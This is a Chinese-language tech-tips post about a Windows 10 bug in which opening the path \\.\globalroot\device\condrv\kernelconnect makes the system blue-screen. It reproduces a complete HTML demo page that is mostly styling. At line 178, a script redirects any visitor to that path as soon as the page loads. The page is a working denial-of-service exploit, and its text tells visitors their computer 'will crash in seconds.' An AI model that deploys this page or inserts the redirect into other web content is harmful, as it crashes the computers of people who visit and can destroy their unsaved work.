1. 程式人生 > 實用技巧 >Windows 10漏洞可能導致Chrome瀏覽器開啟網頁時藍屏!

Windows 10漏洞可能導致Chrome瀏覽器開啟網頁時藍屏!

Windows 10漏洞可能導致Chrome瀏覽器開啟網頁時藍屏!

原理:只要以任何方式呼叫 file\:\\\\.\\globalroot\\device\\condrv\\kernelconnect這個本地檔案地址,就會立刻引發電腦藍屏重啟。謹慎嘗試!

這個漏洞已經被報告,將在未來修復。

demo程式碼如下:
  1 <!DOCTYPE html>
  2 <html>
  3 <head>
  4 <meta charset="utf-8">
  5 <meta name="viewport" content="width=device-width,initial-scale=1.0"
> 6 <meta name="robots" content="noindex"> 7 <link rel="stylesheet" href="https://use.typekit.net/rdr7jpy.css"> 8 <title>BSOD Test</title> 9 </head> 10 <style> 11 body { 12 background: #000; 13 } 14 .container { 15 height: 100%; 16 width: 100%
; 17 margin: 0 auto; 18 touch-action: none; 19 } 20 .container .ctr { 21 position: absolute; 22 top: 50%; 23 left: 50%; 24 transform: translate(-50%, -50%); 25 width: 100%; 26 height: 100px; 27 text-align: center; 28 background-size: cover; 29 max-width
: 1680px; 30 } 31 .container .ctr .text { 32 position: absolute; 33 top: 50%; 34 left: 50%; 35 transform: translate(-50%, -50%); 36 color: #ffffff; 37 font-size: 46px; 38 font-family: mr-eaves-sans, sans-serif; 39 font-weight: 300; 40 font-style: normal; 41 text-shadow: 4px 0px 0px rgba(23, 95, 168, 0.80); 42 letter-spacing: 2px; 43 white-space: nowrap; 44 } 45 @media only screen and (max-width: 1024px) and (-webkit-min-device-pixel-ratio: 2) { 46 .container .ctr .text { 47 font-size: 46px !important; 48 } 49 } 50 @media only screen and (max-width: 768px) and (-webkit-min-device-pixel-ratio: 2) { 51 .container .ctr .text { 52 font-size: 39px !important; 53 } 54 } 55 @media only screen and (max-width: 650px) and (-webkit-min-device-pixel-ratio: 2) { 56 .container .ctr { 57 height: 76px; 58 } 59 .container .ctr .text { 60 font-size: 34px !important; 61 } 62 } 63 @media only screen and (max-width: 600px) and (-webkit-min-device-pixel-ratio: 2) { 64 .container .ctr .text { 65 font-size: 30px !important; 66 } 67 } 68 @media only screen and (max-width: 560px) and (-webkit-min-device-pixel-ratio: 2) { 69 .container .ctr .text { 70 font-size: 27px !important; 71 } 72 } 73 @media only screen and (max-width: 520px) and (-webkit-min-device-pixel-ratio: 2) { 74 .container .ctr .text { 75 font-size: 25px !important; 76 } 77 } 78 @media only screen and (max-width: 480px) and (-webkit-min-device-pixel-ratio: 2) { 79 .container .ctr { 80 height: 50px; 81 } 82 .container .ctr .text { 83 font-size: 21px !important; 84 letter-spacing: 1.2px; 85 } 86 } 87 @media only screen and (max-width: 414px) and (-webkit-min-device-pixel-ratio: 2) { 88 .container .ctr { 89 height: 50px; 90 } 91 .container .ctr .text { 92 font-size: 18px !important; 93 letter-spacing: 1.2px; 94 } 95 } 96 @media only screen and (max-width: 375px) and (-webkit-min-device-pixel-ratio: 2) { 97 .container .ctr { 98 height: 50px; 99 } 100 .container .ctr { 101 height: 50px; 102 } 103 .container .ctr .text { 104 font-size: 16px !important; 105 letter-spacing: 1.2px; 106 } 107 } 108 @media only screen and (max-width: 320px) and (-webkit-min-device-pixel-ratio: 2) { 109 .container .ctr .text { 110 font-size: 13px !important; 111 letter-spacing: 1.2px; 112 } 113 } 114 @media only screen and (max-width: 1200px) { 115 .container .ctr .text { 116 font-size: 46px; 117 } 118 } 119 @media only screen and (max-width: 831px) { 120 .container .ctr .text { 121 font-size: 43px; 122 } 123 } 124 @media only screen and (max-width: 768px) { 125 .container .ctr .text { 126 font-size: 40px; 127 } 128 } 129 @media only screen and (max-width: 720px) { 130 .container .ctr .text { 131 font-size: 38px; 132 } 133 } 134 @media only screen and (max-width: 640px) { 135 .container .ctr .text { 136 font-size: 33px; 137 } 138 } 139 @media only screen and (max-width: 480px) { 140 .container .ctr .text { 141 font-size: 33px; 142 } 143 } 144 @media only screen and (max-width: 420px) { 145 .container .ctr .text { 146 font-size: 30px; 147 } 148 } 149 @media only screen and (max-width: 400px) { 150 .container .ctr .text { 151 font-size: 22px; 152 } 153 } 154 @media only screen and (max-width: 320px) { 155 .container .ctr .text { 156 font-size: 18px; 157 } 158 } 159 .blink { 160 animation: blinknoanim 2s linear infinite; 161 } 162 163 @keyframes blinknoanim { 164 0% { opacity: 1; } 165 50% { opacity: 1; } 166 50.01% { opacity: 0; } 167 100% { opacity: 0; } 168 } 169 </style> 170 <body> 171 <div class="container"> 172 <div class="ctr"> 173 <div class="text"> 174 If your computer is running Windows 10, it will crash in seconds. 175 <div> 176 <div> 177 <div> 178 <script>document.location = 'file\:\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script> 179 </body> 180 </html>